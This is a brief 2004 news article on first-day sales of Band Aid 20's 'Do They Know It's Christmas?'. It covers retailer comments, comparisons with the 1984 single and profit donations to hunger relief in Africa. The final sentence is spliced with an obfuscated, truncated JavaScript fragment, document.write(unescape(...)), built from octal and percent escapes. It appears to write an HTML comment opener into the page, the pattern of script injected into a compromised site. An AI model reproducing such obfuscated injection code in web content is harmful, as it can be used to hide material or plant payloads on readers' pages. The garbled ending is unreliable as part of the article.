Band Aid 20's 'Do They Know It's Christmas Time?' is expected to sell 500,000 copies after its record company announced that it is 'flying off the shelves' on its first day of release (November 29).
It is estimated that fans will spend about £2million this week on the 2004 version of the charity single, which is raising money to fight hunger in Africa.
Mercury Records said it was 'very early days' but sales are going 'absolutely fantastically well'.
Product manager for the label Shane Murray said: 'We've had one retailer in who's said it's flying off the shelves, so they're particularly happy,'
According to BBC News, many record shops across the UK opened an hour earlier than normal at 8am so people could buy the single on their way to work.
The original 1984 version of the track sold 750,000 copies in its first week and 3.5 million in total.
A HMV spokesperson said: 'There's a steady stream of people buying it. There's not such a sense of urgency as the first time round.'
He added: 'It's going to be number one. I haven't got a crystal ball but we think it'll be Christmas number one.'
The last million-selling singles in the UK were by Pop Idol stars Will Young and Gareth Gates in 2002.
HMV, Virgin and Woolworths have all promised to donate their profits from the sale of 'Do They Know It's Christmas?', while the government is to refund the VAT paid on the single and recently released Live Aid DVD.
Band Aid 20 features performances from Bono, Robbie Williams , Chris Martin, The Darkness and Dido.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;